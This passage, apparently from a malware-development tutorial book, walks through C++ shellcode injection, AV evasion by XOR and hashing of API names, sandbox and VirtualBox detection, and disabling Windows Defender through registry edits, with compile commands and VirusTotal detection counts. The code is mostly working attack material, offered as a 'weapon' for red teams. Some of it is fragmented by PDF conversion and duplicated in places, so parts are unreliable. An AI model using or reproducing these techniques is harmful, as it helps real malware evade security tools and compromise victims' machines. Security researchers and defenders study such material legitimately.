#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
291
unsigned int my_payload_len = sizeof(my_payload);
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE) my_payload_mem,
0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
So this code contains very basic logic for executing payload. So in this case, for
simplicity, it’s not encrypted payload, it’s plain payload.
292
Let’s compile it:
293
objdump -x -D evil.exe | less
and as you can see our program is uses KERNEL32.dll and import all this
functions:
294
and some of them are used in our code:
So let’s get read of VirtualAlloc. So how we can do that? First of all we need
to find a declaration VirtualAlloc:
295
and just a make sure that it is implemented in a Kernel32.dll:
And now we need to get this address via GetProcAddress, and we need to
change the call VirtualAlloc to pVirtualAlloc:
296
Then let’s go to compile it. And see again import address table:
objdump -x -D evil.exe | less
297
as you can see it is here. The reason is that we are using the stream in cleartext
when we are calling GetProcAddress.
So what we can do about it?
The way is we can remove that. We can used XOR function for encrypt/decrypt,
we used before, so let’s do that. Firstly, add XOR function to our evil.cpp
malware source code:
For that we will need encryption key and some string. And let’s say string as
cVirtualAlloc and modify our code:
298
So, the final version of our malware code is:
/*
cpp implementation malware
example with calc.exe payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
299
unsigned int cVirtualAllocLen = sizeof(cVirtualAlloc);
// encrypt/decrypt key
char mySecretKey[] = "meowmeow";
// LPVOID VirtualAlloc(
// LPVOID lpAddress,
// SIZE_T dwSize,
// DWORD flAllocationType,
// DWORD flProtect
// );
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
300
// copy payload to buffer
RtlMoveMemory(my_payload_mem, my_payload,
my_payload_len);
// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE) my_payload_mem,
0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
And use python script to XOR encrypt our function name and replace:
import sys
import os
import hashlib
import string
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
ordd = lambda x: x if isinstance(x, int) else ord(x)
output_str += chr(ordd(current) ˆ ord(current_key))
return output_str
## encrypting
def xor_encrypt(data, key):
ciphertext = xor(data, key)
ciphertext = '{ 0x' + ', 0x'.
join(hex(ord(x))[2:] for x in ciphertext) + ' };'
print (ciphertext)
return ciphertext, key
301
## key for encrypt/decrypt
plaintext = "VirtualAlloc"
my_secret_key = "meowmeow"
## encrypt VirtualAlloc
ciphertext, p_key = xor_encrypt(plaintext, my_secret_key)
## compile
try:
cmd = "x86_64-w64-mingw32-gcc evil-enc.cpp"
cmd += " -o evil.exe -s -ffunction-sections"
cmd += " -fdata-sections -Wno-write-strings"
cmd += " -fno-exceptions -fmerge-all-constants"
cmd += " -static-libstdc++ -static-libgcc"
cmd += " >/dev/null 2>&1"
os.system(cmd)
except:
print ("error compiling malware template :(")
sys.exit()
else:
print (cmd)
print ("successfully compiled :)")
and as you can see no VirtualAlloc in strings check. This is how you can
actually obfuscate any function in your code. It can be VirtualProtect or
RtlMoveMemory, etc.
run:
302
everything is ok.
Let’s go to upload our evil.exe to virustotal:
https://www.virustotal.com/gui/file/bf21d0af617f1bad81ea178963d70602340d
85145b96aba330018259bd02fe56/detection
So, 22 of of 66 AV engines detect our file as malicious.
Other functions can be obfuscated to reduce the number of AV engines that
detect our malware. For better result we can combine payload encryption with
random key and obfuscate functions with another keys etc.
Source code in Github
• VirtualAlloc
• RtlMoveMemory
• VirtualProtect
• WaitForSingleObject
303
• CreateThread
• XOR
As a result of my research, my project peekaboo appeared.
Simple undetectable shellcode and code injector launcher example.
This is a third part of the tutorial and it describes an example how to bypass
AV engines in simple C++ malware.
first part
second part
In this section we will try to implement some techniques used by malicious
software to execute code, hide from defenses.
Let’s take a look at example C++ source code of our malware which implement
classic code injection:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
304
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
// parse process ID
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));
305
This is classic variant, we define payload, allocate memory, copy into the new
buffer, and then execute it.
The main limit with AV scanner is the amount of time they can spend on each
file. During a regular system scan, AV will have to analyze thousands of files. It
just cannot spend too much time or power on a peculiar one. One of the “classic”
AV evasion trick besides payload encryption: we just allocate and fill 100MB of
memory:
char *mem = NULL;
mem = (char *) malloc(100000000);
if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);
//... run our malicious logic
}
306
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);
// parse process ID
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(pid));
printf("PID: %i", pid);
307
CloseHandle(ph);
return 0;
}
}
Let’s go to compile:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
308
https://www.virustotal.com/gui/file/4ff68b6ca99638342b9b316439594c21520e
66feca36c2447e3cc75ad3d70f46/detection
So, 6 of 67 AV engines detect our file as malicious.
For better result, we can add payload encryption with key or obfuscate functions,
or combine both of this techniques.
And what’s next? Malwares often use various methods to fingerprint the envi-
ronment they’re being executed in and perform different actions based on the
situation.
For example, we can detect virtualized environment. Sandboxes and analyst’s
virtual machines usually can’t 100% accurately emulate actual execution envi-
ronment. Nowadays typical user machine has a processor with at least 2 cores
and has a minimum 2GB RAM. So our malware can verify if the environment is
a subject to these constraints:
BOOL checkResources() {
SYSTEM_INFO s;
MEMORYSTATUSEX ms;
DWORD procNum;
DWORD ram;
// check RAM
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
ram = ms.ullTotalPhys / 1024 / 1024 / 1024;
if (ram < 2) return false;
return true;
}
309
version of VirtualAllocEx() that is meant to be used by systems with more
than one physical CPU:
typedef LPVOID (WINAPI * pVirtualAllocExNuma) (
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect,
DWORD nndPreferred
);
//...
It’s possible to simply “ask” the operating system if any debugger is attached.
IsDebuggerPresent function basically checks BeingDebugged flag in the PEB:
310
// "ask" the OS if any debugger is present
if (IsDebuggerPresent()) {
printf("attached debugger detected :(\n");
return -2;
}
311
if (mem != NULL) {
return false;
} else {
return true;
}
}
// resource check
BOOL checkResources() {
SYSTEM_INFO s;
MEMORYSTATUSEX ms;
DWORD procNum;
DWORD ram;
// check RAM
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
ram = ms.ullTotalPhys / 1024 / 1024 / 1024;
if (ram < 2) return false;
return true;
}
312
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
// what is my name???
if (strstr(argv[0], "hack2.exe") == NULL) {
printf("What's my name? WTF?? :(\n");
return -2;
}
// check NUMA
if (checkNUMA()) {
printf("NUMA memory allocate failed :( \n");
return -2;
}
// check resources
if (checkResources() == false) {
printf("possibly launched in sandbox :(\n");
return -2;
}
313
if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);
// parse process ID
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(pid));
printf("PID: %i", pid);
Let’s go to compile:
314
As you can see, our malicious logic did not start as we are in a virtual machine
with 1 core CPU.
Let’s go to upload this variant to VirusTotal:
https://www.virustotal.com/gui/file/5658fd8d326dcbb01492c0d5644cdeb69d
c8d64acbf939a91b25a3caa53f7a61/detection
So, 8 of 67 AV engines detect our file as malicious.
As usually, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
To conclude these examples show it is pretty simple to bypass AV when you
exploit their weaknesses. It only requires some knowledge on windows system
and how AV works.
Also we can try to detect devices and vendor names of our machine, search VM-
specific artifacts, check file, process or windows names, check screen resolution,
etc. I will show these techniques and real examples in the future in separate
posts.
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
315
The Antivirus Hacker’s Handbook
Wikileaks - Bypass AV Dynamic Analysis
DeepSec 2013 Talk: The Joys of Detecting Malicious Software
IsDebuggerPresent
VirtualAllocExNuma
NUMA Support
Source code on Github
what is ordinals?
Each function exported by a DLL is identified by a numeric ordinal and optionally
a name. Likewise, functions can be imported from a DLL either by ordinal or
by name. The ordinal represents the position of the function’s address pointer
in the DLL Export Address table.
In one of my posts I wrote a simple python script which enumerates the exported
functions from the provided DLL (dll-def.py):
316
import pefile
import sys
import os.path
dll = pefile.PE(sys.argv[1])
dll_basename = os.path.splitext(sys.argv[1])[0]
try:
with open(sys.argv[1]
.split("/")[-1]
.replace(".dll", ".def"), "w") as f:
f.write("EXPORTS\n")
for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
if export.name:
f.write(
'{}={}.{} @{}\n'.format(
export.name.decode(),
dll_basename,
export.name.decode(),
export.ordinal))
except:
print ("failed to create .def file :(")
else:
print ("successfully create .def file :)")
As you can see, for example, for MessageBoxA ordinal is 2039, for MessageBoxW
ordinal is 2046.
practical example.
Let’s go to look at the practical example.
The ordinals might change on each release of the dll. We do not hardcode it in
317
our code. We need to look up the ordinals by iterating the list and make a string
comparison. This activity is counterproductive to our objective to hide the API
name in our code since we need to make a string comparison during the lookup.
This technique is very simple.
First of all, I used a trick from my post (also included to this book):
// encrypted function name (MessageBoxA)
unsigned char s_mb[] = { 0x20, 0x1c, 0x0, 0x6, 0x11, 0x2,
0x17, 0x31, 0xa, 0x1b, 0x33 };
// key
char s_key[] = "mysupersecretkey";
// XOR decrypt
void XOR(char * data, size_t data_len, char * key,
size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ˆ key[j];
j++;
}
}
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
ordd = lambda x: x if isinstance(x, int) else ord(x)
318
output_str += chr(ordd(current) ˆ ord(current_key))
return output_str
## encrypting
def xor_encrypt(data, key):
ciphertext = xor(data, key)
ciphertext = '{ 0x' + ', 0x'.
join(hex(ord(x))[2:] for x in ciphertext) + ' };'
print (ciphertext)
return ciphertext, key
319
// Get the COFF file header.
img_file_header = (PIMAGE_FILE_HEADER)(sig + 1);
return edt;
}
And searches a module’s name pointer table (NPT) for the named procedure:
// binary search
DWORD findFuncB(PDWORD npt, DWORD size, PBYTE base, LPCSTR proc) {
INT cmp;
DWORD max;
DWORD mid;
DWORD min;
min = 0;
max = size - 1;
if (cmp < 0) {
min = mid + 1;
} else if (cmp > 0) {
max = mid - 1;
} else {
return mid;
320
}
}
return -1;
}
As you can see, is simply a convenience function that does the binary search of
the NPT.
Finally, get ordinal:
// get func ordinal
DWORD getFuncOrd(HMODULE module, LPCSTR proc) {
PBYTE base; // module base address
PIMAGE_EXPORT_DIRECTORY edt; // export directory table
PWORD eot; // export ordinal table (EOT)
DWORD i; // index into NPT and/or EOT
PDWORD npt; // name pointer table (NPT)
base = (PBYTE)module;
321
XOR((char *) s_mb, sizeof(s_mb), s_key, sizeof(s_key));
LoadLibrary((LPCSTR) s_dll)
HMODULE module = GetModuleHandle((LPCSTR) s_dll);
DWORD ord = getFuncOrd(module, (LPCSTR) s_mb);
fnMessageBoxA myMessageBoxA =
(fnMessageBoxA)GetProcAddress(
module, MAKEINTRESOURCE(ord));
myMessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}
// key
char s_key[] = "mysupersecretkey";
// XOR decrypt
void XOR(char * data, size_t data_len, char * key,
size_t key_len) {
int j;
j = 0;
322
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ˆ key[j];
j++;
}
}
// binary search
DWORD findFuncB(PDWORD npt, DWORD size, PBYTE base, LPCSTR proc) {
INT cmp;
DWORD max;
DWORD mid;
DWORD min;
min = 0;
max = size - 1;
if (cmp < 0) {
min = mid + 1;
} else if (cmp > 0) {
max = mid - 1;
} else {
return mid;
}
}
return -1;
}
323
img_dos_header = (PIMAGE_DOS_HEADER)module;
return edt;
}
base = (PBYTE)module;
324
// table and export ordinal table.
edt = getEDT(module);
fnMessageBoxA myMessageBoxA =
(fnMessageBoxA)GetProcAddress(
module, MAKEINTRESOURCE(ord));
325
myMessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}
demo
Let’s go to compile our example:
i686-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings \
-Wint-to-pointer-cast -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
And run:
.\hack.exe
As you can see, everything is work perfectly, for purity of the experiment I add
326
one line to my hack.cpp in main function:
//..
DWORD ord = getFuncOrd(module, (LPCSTR) s_mb);
if (-1 == ord) {
printf("failed to find ordinal %s\n", s_mb);
return -2;
}
printf("MessageBoxA ordinal is %d\n", ord);
//..
As you can see, our malware successfully find correct ordinal. Perfect :)
String search result:
strings -n 8 hack.exe | grep MessageBox
As you can see no MessageBox in strings check. So this is how you hide your
windows API calls from static analysis.
Let’s go to upload to VirusTotal:
327
https://www.virustotal.com/gui/file/f75d7f5f33fc5c5e03ca22bbeda0454cd9b6
aab3009fdd109433bc6208f3d301/detection
So 6 of 68 AV engines detect our file as malicious
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
pe file format
pefile - python module
XOR
source code in github
328
Let’s look all at an example and you’ll understand that it’s not so hard.
standard calling
Let’s look at an example:
#include <windows.h>
#include <stdio.h>
int main() {
MessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}
Compile:
i686-w64-mingw32-g++ meow.cpp -o meow.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive
and run:
329
As expected, it’s just a pop-up window.
Then run strings:
strings -n 8 meow.exe | grep MessageBox
As you can see, the WinAPI function are explicitly read in the basic static
analysis and:
330
visible in the application’s import table.
hashing
Now let’s hide the WinAPI function MessageBoxA we are using from malware
analysts. Let’s hash it:
# simple stupid hashing example
def myHash(data):
hash = 0x35
for i in range(0, len(data)):
hash += ord(data[i]) + (hash << 1)
print (hash)
return hash
myHash("MessageBoxA")
331
practical example
What’s the main idea? The main idea is we create code where we find WinAPI
function address by it’s hashing name via enumeration exported WinAPI func-
tions.
First of all, let’s declare a hash function identical in logic to the python code:
DWORD calcMyHash(char* data) {
DWORD hash = 0x35;
for (int i = 0; i < strlen(data); i++) {
hash += data[i] + (hash << 1);
}
return hash;
}
Then, I declared function which find Windows API function address by comparing
it’s hash:
static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
PIMAGE_NT_HEADERS img_nt_header =
(PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew);
PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)h + img_nt_header->
OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);
PDWORD fAddr = (PDWORD)((LPBYTE)h +
img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)h +
332
img_edt->AddressOfNames);
PWORD fOrd = (PWORD)((LPBYTE)h +
img_edt->AddressOfNameOrdinals);
if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}
The logic here is really simple. first we go through the PE headers to the
exported functions we need. In the loop, we will look at and compare the hash
passed to our function with the hashes of the functions in the export table and,
as soon as we find a match, exit the loop:
//...
for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {
LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);
if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
//...
and main():
int main() {
HMODULE mod = LoadLibrary("user32.dll");
LPVOID addr = getAPIAddr(mod, 17036696);
333
printf("0x%p\n", addr);
fnMessageBoxA myMessageBoxA = (fnMessageBoxA)addr;
myMessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}
334
return hash;
}
if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}
int main() {
HMODULE mod = LoadLibrary("user32.dll");
LPVOID addr = getAPIAddr(mod, 17036696);
printf("0x%p\n", addr);
fnMessageBoxA myMessageBoxA = (fnMessageBoxA)addr;
myMessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}
demo
Let’s go to compile our malware hack.cpp:
i686-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
335
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
and run:
.\hack.exe
336
As you can see, our logic is worked!!! Perfect :)
What about strings?
strings -n 8 hack.exe | grep MessageBox
If we delve into the investigate of the malware, we, of course, will find our hashes,
strings like user32.dll, and so on. But this is just a case study.
Let’s go to upload to VirusTotal:
337
https://www.virustotal.com/gui/file/d33210e3d7f9629d3465b2a0cec0c490d225
4fa1b9a2fd047457bd9046bc0eee/detection
So 4 of 65 AV engines detect our file as malicious
Notice that we evasion Windows Defender :)
But what about WinAPI functions in classic DLL injection?
I will self-research and write in a next post.
In real malware, hashes are additionally protected by mathematical functions
and additionally encrypted.
For example Carbanak uses several AV engines evasion techniques,
one of them is WinAPI call hashing.
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
pe file format
Carbanak
source code in github
338
40. AV/VM engines evasion techniques - part 6. Simple
C++ example.
registry keys
Registry keys and it’s values may be queries via WinAPI calls. In this post
I consider how to detect VM environment via kernel32.dll functions like
RegOpenKeyExA and RegQueryValueExA.
The function RegOpenKeyExA has the following syntax:
LSTATUS RegOpenKeyExA(
[in] HKEY hKey,
[in, optional] LPCSTR lpSubKey,
[in] DWORD ulOptions,
[in] REGSAM samDesired,
[out] PHKEY phkResult
);
339
[in, out, optional] LPDWORD lpcbData
);
So as you can see I just check if registry key path exists. Return TRUE if exists,
return FALSE otherwise.
This function logic is also quite simple. We check value of the registry key via
RegQueryValueExA in which the result of function RegOpenKeyExA is the first
340
parameter.
I will only consider Oracle VirtualBox. For another VMs/sandboxes the tricks
is the same.
practical example
So let’s go to consider practical example. Let’s take a look at the complete
source code:
/*
* hack.cpp
* classic payload injection with
VM virtualbox evasion tricks
* author: @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/04/09/malware-av-evasion-6.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
341
"\x2e\x2e\x5e\x3d\x00";
if (reg_key_ex(HKEY_LOCAL_MACHINE,
"HARDWARE\\ACPI\\FADT\\VBOX__")) {
printf("VirtualBox VM reg path value detected :(\n");
return -2;
}
342
if (reg_key_compare(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
"SystemProductName", "VirtualBox")) {
printf("VirtualBox VM reg key value detected :(\n");
return -2;
}
if (reg_key_compare(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
"BiosVersion", "VirtualBox")) {
printf("VirtualBox VM BIOS version detected :(\n");
return -2;
}
// parse process ID
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));
As you can see it’s just classic payload injection with some VM VirtualBox
detection tricks via Windows Registry.
Check path: HKLM\HARDWARE\ACPI\FADT\VBOX_:
343
Enumerating reg key SystemProductName from
HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation
and compare with VirtualBox string:
344
Note that in all cases key names are case-insensitive.
demo
Let’s go to compile this malware hack.cpp:
i686-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
345
Let’s go to upload to VirusTotal:
https://www.virustotal.com/gui/file/e4d265297f08a5769d2f61aafb3040779c5f
31f699e66ad259e66d62f1bacb03/detection
So 8 of 68 AV engines detect our file as malicious
If we delve into the investigate of the real-life malware and scenarios, we, of
course, will find many other specified registry paths and keys.
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
evasion techniques by check point software technologies ltd
classic payload injection
AV engines evasion part 1
AV engines evasion part 2
AV engines evasion part 3
AV engines evasion part 4
AV engines evasion part 5
source code in github
346
41. malware AV evasion: part 7. Disable Windows De-
fender. Simple C++ example.
This post is the result of self-researching one of the most common tricks in the
malware in the wild.
windows defender
The anti-malware software Windows Defender (now known as Microsoft Defender
Antivirus) protects your computer from external threats. Microsoft has developed
the antivirus to safeguard Windows 10 computers from virus threats.
This antivirus is preinstalled on all Windows 10 editions.
To avoid possible detection of their malware/tools and activities, adversaries
may modify or disable security tools. For example Windows Defender.
practical example
Let’s go to try disable Windows Defender Antivirus via modifying Windows
registry. First of all, it is important to remember that disabling requires adminis-
trator rights. In active mode, Microsoft Defender Antivirus serves as the device’s
primary antivirus program. Threats are remedied and detected threats are listed
in your organization’s security reports and Windows Security application. To
disable all this you just need to modify the registry keys:
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Policies\\Microsoft\\Windows Defender",
0, KEY_ALL_ACCESS, &key);
if (res == ERROR_SUCCESS) {
RegSetValueEx(key, "DisableAntiSpyware", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegCreateKeyEx(key, "Real-Time Protection", 0, 0,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &new_key, 0);
347
RegSetValueEx(new_key, "DisableRealtimeMonitoring", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableBehaviorMonitoring", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableScanOnRealtimeEnable", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableOnAccessProtection", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableIOAVProtection", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegCloseKey(key);
RegCloseKey(new_key);
}
But as I wrote earlier, this requires admin rights, for this we create a function
which check this:
// check for admin rights
bool isUserAdmin() {
bool isElevated = false;
HANDLE token;
TOKEN_ELEVATION elev;
DWORD size;
if (OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY, &token)) {
if (GetTokenInformation(token, TokenElevation,
&elev, sizeof(elev), &size)) {
isElevated = elev.TokenIsElevated;
}
}
if (token) {
CloseHandle(token);
token = NULL;
}
return isElevated;
}
Since Windows Vista, UAC has been a crucial feature for mitigating some risks
associated with privilege elevation. Under UAC, local Administrators group
accounts have two access tokens, one with standard user privileges and the other
with administrator privileges. All processes (including the Windows explorer
- explorer.exe) are launched using the standard token, which restricts the
process’s rights and privileges. If the user desires elevated privileges, he may
select “run as Administrator” to execute the process. This opt-in grants the
process all administrative privileges and rights.
348
A script or executable is typically run under the standard user token due to UAC
access token filtering, unless it is “run as Administrator” in elevated privilege
mode. As a developer or hacker, it is essential to understand the mode in which
you are operating.
So, full PoC script to disable Windows Defender is something like:
/*
hack.cpp
disable windows defender dirty PoC
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/05/malware-av-evasion-7.html
*/
#include <cstdio>
#include <windows.h>
if (!isUserAdmin()) {
349
printf("please, run as admin.\n");
return -1;
}
RegCloseKey(key);
RegCloseKey(new_key);
}
demo
Let’s go to see everything in action. First of all, check our defender:
350
and check registry keys:
reg query "HKLM\Software\Policies\Microsoft\Windows Defender" /s
351
According to the logic of the our program, the machine turns off. Then, turn on
it again and check:
reg query "HKLM\Software\Policies\Microsoft\Windows Defender" /s
352
As you can see, everything is worked perfectly!
But of course, this trick is not new, nowadays threat actors may tamper with
artifacts deployed and utilized by security tools. Security products may load
their own modules and/or modify those loaded by processes to facilitate data
353
collection. Adversaries may unhook or otherwise modify these features added by
tools to avoid detection.
This trick is used by Maze and Pysa ransomwares in the wild.
For the next part, I’ll learn and research a trick, the point of which is to deprive
the antivirus process of privileges, thanks to which it can check files for malware.
MITRE ATT&CK. Impair Defenses: Disable or Modify Tools
Gorgon Group
H1N1 Malware
Maze ransomware
Pysa ransomware
source code on github
run keys
Adding an entry to the “run keys” in the registry will cause the app referenced to
be executed when a user logs in. These apps will be executed under the context
of the user and will have the account’s associated permissions level.
The following run keys are created by default on Windows Systems:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
354
